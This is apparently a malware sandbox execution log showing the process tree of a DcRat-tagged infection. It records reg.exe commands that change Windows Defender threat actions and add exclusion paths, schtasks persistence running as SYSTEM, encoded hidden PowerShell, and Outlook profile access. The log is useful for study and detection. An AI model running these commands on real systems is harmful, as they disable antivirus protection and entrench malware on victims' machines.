C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\LCMDmHxGrLJHC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\LCMDmHxGrLJHC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\VnSvEXTIbraTatzTOsR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\VnSvEXTIbraTatzTOsR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\jIUrjTqJU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\jIUrjTqJU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\nVCmSimpmwUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\nVCmSimpmwUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\twylNxKJekDU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\twylNxKJekDU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\CEEEIGvNcEpIBnVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\CEEEIGvNcEpIBnVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\LhLAIbjVjtdXSeCjh\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\LhLAIbjVjtdXSeCjh\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\fwhiGQHhSfnZUzkc\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\fwhiGQHhSfnZUzkc\" /t REG_DWORD /d 0 /reg:64;"2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCMDmHxGrLJHC" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCMDmHxGrLJHC" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCMDmHxGrLJHC" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VnSvEXTIbraTatzTOsR" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VnSvEXTIbraTatzTOsR" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jIUrjTqJU" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jIUrjTqJU" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nVCmSimpmwUn" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nVCmSimpmwUn" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\twylNxKJekDU2" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\twylNxKJekDU2" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\CEEEIGvNcEpIBnVB /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\CEEEIGvNcEpIBnVB /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\LhLAIbjVjtdXSeCjh /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\LhLAIbjVjtdXSeCjh /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\fwhiGQHhSfnZUzkc /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\fwhiGQHhSfnZUzkc /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gfPUoMvGV" /SC once /ST 02:20:07 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="2⤵
- DcRat
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gfPUoMvGV"2⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gfPUoMvGV"2⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "HqggdVJZxuzvaULcA" /SC once /ST 03:01:14 /RU "SYSTEM" /TR "\"C:\Windows\Temp\fwhiGQHhSfnZUzkc\sjPeeWCTnrqbGVf\ptjbjED.exe\" Av /site_id 525403 /S" /V1 /F2⤵
- DcRat
- Drops file in Windows directory
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "HqggdVJZxuzvaULcA"2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 1380 -ip 13801⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k AarSvcGroup -p -s AarSvc1⤵
- Checks SCSI registry key(s)
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"2⤵
- DcRat
- Creates scheduled task(s)
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x454 0x3c81⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 1188 -ip 11881⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==1⤵
-
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc1⤵
-
C:\Users\Admin\AppData\Local\Temp\3F71.exeC:\Users\Admin\AppData\Local\Temp\3F71.exe1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwA0AA==2⤵
-
C:\Users\Admin\AppData\Local\Temp\3F71.exeC:\Users\Admin\AppData\Local\Temp\3F71.exe2⤵
-
C:\Users\Admin\AppData\Local\Temp\4241.exeC:\Users\Admin\AppData\Local\Temp\4241.exe1⤵
- Adds Run key to start application
-
C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\LucasChess_02c.exeC:\Users\Admin\AppData\Local\Temp\IXP004.TMP\LucasChess_02c.exe2⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwA0AA==3⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\LucasChess_02c.exeC:\Users\Admin\AppData\Local\Temp\IXP004.TMP\LucasChess_02c.exe3⤵
- Checks computer location settings
- Accesses Microsoft Outlook profiles
- outlook_office_path
- outlook_win_path
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 82200 -s 8682⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 82200 -ip 822001⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\LhLAIbjVjtdXSeCjh\NRKtMpzzQqeBbPa\eoLFqTN.exeC:\Users\Admin\AppData\Local\Temp\LhLAIbjVjtdXSeCjh\NRKtMpzzQqeBbPa\eoLFqTN.exe d8 /site_id 525403 /S1⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "HqggdVJZxuzvaULcA" /SC once /ST 14:17:54 /RU "SYSTEM" /TR "\"C:\Windows\Temp\fwhiGQHhSfnZUzkc\sjPeeWCTnrqbGVf\CblaPyW.exe\" Av /site_id 525403 /S" /V1 /F2⤵
- DcRat
- Drops file in Windows directory
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "HqggdVJZxuzvaULcA"2⤵
-
C:\Windows\system32\gpscript.exegpscript.exe /RefreshSystemParam1⤵
-
C:\Windows\Temp\fwhiGQHhSfnZUzkc\sjPeeWCTnrqbGVf\ptjbjED.exeC:\Windows\Temp\fwhiGQHhSfnZUzkc\sjPeeWCTnrqbGVf\ptjbjED.exe Av /site_id 525403 /S1⤵
- Checks computer location settings
- Drops Chrome extension
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "bGZpGlqvDNKjraWjlZ"2⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:322⤵
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:323⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:642⤵
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:643⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\jIUrjTqJU\EBqZLy.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "IyXvSOFErlMUKai" /V1 /F2⤵
- DcRat
- Drops file in Windows directory
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "IyXvSOFErlMUKai2" /F /xml "C:\Program Files (x86)\jIUrjTqJU\zGydWzs.xml" /RU "SYSTEM"2⤵
- DcRat
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /END /TN "IyXvSOFErlMUKai"2⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "IyXvSOFErlMUKai"2⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "hNhPffLFSWePjj" /F /xml "C:\Program Files (x86)\twylNxKJekDU2\weptNnJ.xml" /RU "SYSTEM"2⤵
- DcRat
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "AzbKTkTFnqewi2" /F /xml "C:\ProgramData\CEEEIGvNcEpIBnVB\UCiLOnU.xml" /RU "SYSTEM"2⤵
- DcRat
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "WeBOqsSYMRAwVFzkb2" /F /xml "C:\Program Files (x86)\VnSvEXTIbraTatzTOsR\mltWrWv.xml" /RU "SYSTEM"2⤵
- DcRat
- Creates scheduled task(s)
-
